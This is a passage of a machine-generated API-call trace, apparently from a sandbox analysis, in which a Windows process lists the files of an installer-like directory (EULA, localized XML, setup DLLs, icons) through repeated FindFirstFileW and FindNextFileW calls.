ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.162] FindNextFileW (in: hFindFile=0x10dca50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.162] FindNextFileW (in: hFindFile=0x10dca50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.162] FindNextFileW (in: hFindFile=0x10dca50, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.163] FindClose (in: hFindFile=0x10dca50 | out: hFindFile=0x10dca50) returned 1 [0044.163] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.163] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3076", cAlternateFileName="")) returned 1 [0044.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc4d0 [0044.164] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.164] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.164] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.164] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.164] FindNextFileW (in: hFindFile=0x10dc4d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.164] FindClose (in: hFindFile=0x10dc4d0 | out: hFindFile=0x10dc4d0) returned 1 [0044.164] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.164] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3082", cAlternateFileName="")) returned 1 [0044.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc250 [0044.193] FindNextFileW (in: hFindFile=0x10dc250, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.197] FindNextFileW (in: hFindFile=0x10dc250, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.197] FindNextFileW (in: hFindFile=0x10dc250, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.197] FindNextFileW (in: hFindFile=0x10dc250, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.197] FindNextFileW (in: hFindFile=0x10dc250, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.198] FindClose (in: hFindFile=0x10dc250 | out: hFindFile=0x10dc250) returned 1 [0044.198] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.198] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Client", cAlternateFileName="")) returned 1 [0044.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc2d0 [0044.199] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.199] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0044.200] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0044.201] FindClose (in: hFindFile=0x10dc2d0 | out: hFindFile=0x10dc2d0) returned 1 [0044.201] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.201] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0044.201] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0044.201] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Extended", cAlternateFileName="")) returned 1 [0044.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc190 [0044.202] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.202] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0044.202] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0044.202] FindNextFileW (in: hFindFile=0x10dc190, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0044.202] FindClose (in: hFindFile=0x10dc190 | out: hFindFile=0x10dc190) returned 1 [0044.202] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.202] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Graphics", cAlternateFileName="")) returned 1 [0044.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbed0 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0044.300] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0044.301] FindNextFileW (in: hFindFile=0x10dbed0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0044.301] 